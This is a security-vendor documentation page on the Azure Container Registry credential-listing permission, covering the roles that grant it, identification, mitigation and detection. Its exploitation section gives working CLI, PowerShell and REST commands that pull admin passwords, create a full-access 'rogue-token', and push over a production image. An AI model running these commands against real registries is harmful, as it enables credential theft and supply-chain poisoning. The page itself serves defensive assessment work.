> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/azure/az_acr_list_credentials.md).

# AZ\_ACR\_LIST\_CREDENTIALS

## Summary

|                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AZ\_ACR\_LIST\_CREDENTIALS                                                                                                                                                                                                                                                                                                                                                                                                                     |
| **Azure Alias**            | ACR List Credentials / Generate Token Credentials                                                                                                                                                                                                                                                                                                                                                                                              |
| **Affected Object Types**  | Container Registries (ACR)                                                                                                                                                                                                                                                                                                                                                                                                                     |
| **Exploitation Certainty** | Certain                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| **Severity**               | High                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| **Azure RBAC Roles**       | Owner (`8e3af657-a8ff-443c-a75c-2fe8c4bcb635`), Contributor (`b24988ac-6180-42a0-ab88-20f7382dd24c`), Container Registry Contributor and Data Access Configuration Administrator (`3bc748fc-213d-45c1-8d91-9da5725539b9`), Container Registry Configuration Reader and Data Access Configuration Reader (`69b07be0-09bf-439a-b9a6-e73de851bd59`), Container Registry Connected Registry Administrator (`281928aa-9782-4d9a-954a-3f34c1ed9f95`) |

**Custom Role Actions:**

* `Microsoft.ContainerRegistry/registries/listCredentials/action`
* `Microsoft.ContainerRegistry/registries/generateCredentials/action`
* `Microsoft.ContainerRegistry/registries/tokens/write`

## Description

`AZ_ACR_LIST_CREDENTIALS` is the risk that an attacker (or insider) with the right Azure resource permissions can **retrieve the registry admin username/password** or **mint scoped tokens with a generated password** for an Azure Container Registry. Either path hands the attacker push/pull credentials, i.e. **full control over the registry contents** - they can plant or replace images that downstream consumers (AKS, App Service, Function Apps, build pipelines) then pull and execute.

### Two abuse paths

| Permission                                                                           | What it returns                                                                       | Consequence                                                                      |
| ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| `Microsoft.ContainerRegistry/registries/listCredentials/action`                      | Static admin username/password (only when **Admin user** is enabled on the registry). | Permanent push + pull credential good for the lifetime of the password rotation. |
| `Microsoft.ContainerRegistry/registries/generateCredentials/action` + `tokens/write` | A **scoped token** + generated password (works **even when Admin user is disabled**). | Token can be created with `_repositories_admin` scope = full registry access.    |

> **Pre-condition for `listCredentials`:** the registry must have **Admin user = Enabled** (Access keys blade). If admin is disabled the call fails with `400 Bad Request` and a message like *"The admin user is disabled for the container registry"*.
>
> `generateCredentials` does **not** require admin user to be enabled - this is the harder-to-mitigate path.

### Built-in roles that grant these actions

Beyond the blanket `Owner` / `Contributor` roles (which win via wildcard), Azure ships **purpose-built ACR roles** that hand out the credential actions directly. Any assignment of these at registry, resource-group, or subscription scope is exploitable:

| Built-in role                                                                | Role ID                                                                                                            | Method 1 `listCredentials`      | Method 2 `generateCredentials` + `tokens/write`                           |
| ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ------------------------------- | ------------------------------------------------------------------------- |
| Owner                                                                        | `8e3af657-a8ff-443c-a75c-2fe8c4bcb635`                                                                             | ✅ (via `*`)                     | ✅ (via `*`)                                                               |
| Contributor                                                                  | `b24988ac-6180-42a0-ab88-20f7382dd24c`                                                                             | ✅ (via `*` minus auth)          | ✅ (via `*` minus auth)                                                    |
| Container Registry Contributor and Data Access Configuration Administrator   | `3bc748fc-213d-45c1-8d91-9da5725539b9`                                                                             | ✅                               | ✅                                                                         |
| Container Registry Configuration Reader and Data Access Configuration Reader | `69b07be0-09bf-439a-b9a6-e73de851bd59`                                                                             | ✅                               | ❌ (has `tokens/read` only, **not** `tokens/write`)                        |
| Container Registry Connected Registry Administrator                          | `281928aa-9782-4d9a-954a-3f34c1ed9f95`                                                                             | ❌ (no `listCredentials/action`) | ✅ (holds `generateCredentials/action`, `tokens/write`, `scopeMaps/write`) |
| Related edges: **`AZ_ACR_PUSH`**                                             | [**AZ\_EXECUTE\_COMMAND**](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command) (ACR Tasks section) |                                 |                                                                           |

## Identification

### PowerShell (Az Module)

```powershell
Connect-AzAccount

$acrCredActions = @(
    'Microsoft.ContainerRegistry/registries/listCredentials/action',
    'Microsoft.ContainerRegistry/registries/generateCredentials/action',
    'Microsoft.ContainerRegistry/registries/tokens/write'
)

$riskyRoleNames = Get-AzRoleDefinition | Where-Object {
    $acts = @($_.Actions)
    if ($acts -contains '*') { return $true }
    if ($acts -contains 'Microsoft.ContainerRegistry/*') { return $true }
    if ($acts -contains 'Microsoft.ContainerRegistry/registries/*') { return $true }

    foreach ($a in $acrCredActions) { if ($acts -contains $a) { return $true } }
    return $false
} | Select-Object -ExpandProperty Name -Unique

Get-AzRoleAssignment |
    Where-Object { $riskyRoleNames -contains $_.RoleDefinitionName } |
    Select-Object RoleDefinitionName, DisplayName, SignInName, ObjectType, Scope |
    Sort-Object RoleDefinitionName, Scope |
    Format-Table -AutoSize

# Show registries that still have Admin user enabled (listCredentials path)
Get-AzContainerRegistry | Select-Object Name, ResourceGroupName, AdminUserEnabled, Sku | Format-Table -AutoSize
```

### Azure CLI

```bash
# List registries with admin user enabled (listCredentials prerequisite)
az acr list --query "[].{Name:name, ResourceGroup:resourceGroup, AdminEnabled:adminUserEnabled}" -o table

# Show role assignments at a specific registry
az role assignment list \
    --scope "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>" \
    -o table
```

### Azure Portal

1. Open the **Azure Portal** -> **Container registries** -> select the registry.
2. Under **Settings** -> **Access keys**, check whether **Admin user** is **Enabled** (this enables `listCredentials`).
3. Under **Settings** -> **Tokens (Preview)** + **Repository permissions / Scope maps**, list any tokens and the scope maps they reference.
4. Under **Access control (IAM)** -> **Role assignments**, review **Owner**, **Contributor**, and any custom role with the actions above.

## Exploitation

Replace `<RegistryName>` and `<RGName>` with your own values. These examples are for authorized testing only.

### Method 1: List admin credentials - `listCredentials/action`

Returns the static admin username and the two passwords. Works **only when Admin user is enabled** on the registry.

**Azure CLI**

```bash
az acr credential show --name "<RegistryName>"
```

**PowerShell**

```powershell
Get-AzContainerRegistryCredential -ResourceGroupName "<RGName>" -Name "<RegistryName>"
```

**REST**

```bash
TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)

curl -s -X POST "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/listCredentials?api-version=2023-07-01" \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Length: 0"
```

The response returns the admin `username` plus both `password` values:

![listCredentials REST call returning the admin username and password/password2](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-1821d9346f6bc620e7e5396fe3e63979da28c110%2Fazure-az_acr_list_credentials-container_registery_get_admin_pass_az_cli.PNG?alt=media)

Use the returned credentials with `docker login` for full push/pull access:

```bash
docker login <RegistryName>.azurecr.io -u <AdminUsername> -p '<AdminPassword>'

# Now you can push or overwrite any image in the registry
docker pull alpine:3.20
docker tag alpine:3.20 <RegistryName>.azurecr.io/prod/myapp:latest
docker push <RegistryName>.azurecr.io/prod/myapp:latest
```

Logging in with the admin credentials, then pulling a base image and pushing it into a `prod/` repository - full push access confirmed:

![docker login with admin credentials, then pull, tag, and push an image into prod/myapp:latest](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-0dfe6061bba829c4d7802c44d52226c7b60e4539%2Fazure-az_acr_list_credentials-login_to_docker_pull_push_image.PNG?alt=media)

### Method 2: Generate a scoped token - `generateCredentials/action` + `tokens/write`

Works **even when Admin user is disabled**. Creates a registry token with a chosen scope map (e.g. `_repositories_admin` for full access) and returns a fresh password.

**Azure CLI**

```bash
# 1. Create (or reuse) a token bound to the built-in _repositories_admin scope map
az acr token create \
    --registry "<RegistryName>" \
    --name "rogue-token" \
    --scope-map "_repositories_admin" \
    --status enabled

# 2. Generate a password for the token
az acr token credential generate \
    --registry "<RegistryName>" \
    --name "rogue-token" \
    --password1 \
    --expiration-in-days 365 \
    --query 'passwords[0].value' -o tsv
```

![az acr token create output showing rogue-token bound to \_repositories\_admin with generated password1 and password2](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-c8ca7b08b9a663b6698c72ccc5cd02d2b955bcc1%2Fazure-az_acr_list_credentials-acr_create_token_az_cli.PNG?alt=media)

**REST**

```bash
TOKEN=$(az account get-access-token --resource "https://management.azure.com/" --query accessToken -o tsv)

curl -s -X POST "https://management.azure.com/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/generateCredentials?api-version=2023-07-01" \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{
        "tokenId": "/subscriptions/<SubId>/resourceGroups/<RGName>/providers/Microsoft.ContainerRegistry/registries/<RegistryName>/tokens/rogue-token",
        "expiry": "2099-12-31T23:59:59.000Z"
    }'
```

Then `docker login` with the token name as username and the generated value as password:

```bash
docker login <RegistryName>.azurecr.io -u "rogue-token" -p "<generated-password>"
```

Authenticating with the token name as the username and the generated password succeeds:

![docker login with -u rogue-token and the generated token password returning Login Succeeded](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-fd3d893cf82314b477ff52413c7f06e716c86710%2Fazure-az_acr_list_credentials-acr_login_with_generated_token.PNG?alt=media)

### Downstream impact - supply-chain poisoning

Once authenticated, an attacker can:

* **Replace existing tags** that AKS / App Service / Function Apps / pipelines pull on the next deploy.
* **Push a new image** under a name that matches an internal naming convention to bait an admin into deploying it.
* **Read every image** in the registry to harvest secrets baked into image layers.

This pivots cleanly into `AZ_ACR_PUSH` / [AZ\_EXECUTE\_COMMAND](https://docs.forestall.io/fsprotect/edges/azure/az_execute_command) on whatever workload pulls the poisoned image.

## Mitigation

1. **Disable Admin user** (`Properties` blade -> **Admin user** = **Disabled**, or `az acr update --name <RegistryName> --admin-enabled false`). Removes the `listCredentials` path entirely.
2. **Prefer Microsoft Entra authentication** (`az acr login`) and managed identities for downstream consumers; avoid static `docker login` with admin credentials.
3. **Restrict registry tokens** - if you don't need the Tokens / Scope-map feature, leave it unused. If you do, scope tokens to a single repository (e.g. `<repo>:content/read`) instead of `_repositories_admin`.
4. **Limit Owner / Contributor at registry scope** - assign **AcrPull** / **AcrPush** at fine scope rather than blanket Contributor.
5. **Enable resource locks** on production registries to prevent unwanted token / scope-map creation.
6. **Rotate admin passwords on a schedule** (`az acr credential renew --name <RegistryName> --password-name password`) and treat any unexpected rotation event as suspicious.
7. **Forward Activity Log + ACR audit logs** to a SIEM and alert on `listCredentials` / `generateCredentials` calls.

## Detection

Use the Azure Portal:

1. Open **Azure Portal** -> target **container registry** (or scope to **subscription** / **resource group**).
2. Open **Activity log**.
3. Filter **Operation** for credential retrieval activity, such as **List Registry Credentials**, **Generate Registry Credentials**, and **Create or Update Token**.
4. Review the **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Change history** fields for unexpected callers, brand-new tokens created right before the call, or `generateCredentials` calls against `_repositories_admin` scope maps.
5. On the registry blade, open **Tokens (Preview)** and review the **Created on** + **Expiration** of every token. A token created moments before a credential generation event is a strong indicator.
6. Cross-reference with **Microsoft Entra sign-in logs** for the calling principal to identify the source IP and session.

## References

* [Azure Container Registry roles and permissions](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles)
* [Registry tokens with scope-maps](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-repository-scoped-permissions)
* [`az acr credential show`](https://learn.microsoft.com/en-us/cli/azure/acr/credential#az-acr-credential-show)
* [`az acr token credential generate`](https://learn.microsoft.com/en-us/cli/azure/acr/token/credential#az-acr-token-credential-generate)
* [HackTricks - ACR privilege escalation](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.html)
* [SpecterOps - Abusing Azure Container Registry Tasks](https://posts.specterops.io/abusing-azure-container-registry-tasks-7c6fb5c8d99d)
* [MITRE ATT\&CK - T1552 Unsecured Credentials](https://attack.mitre.org/techniques/T1552/)
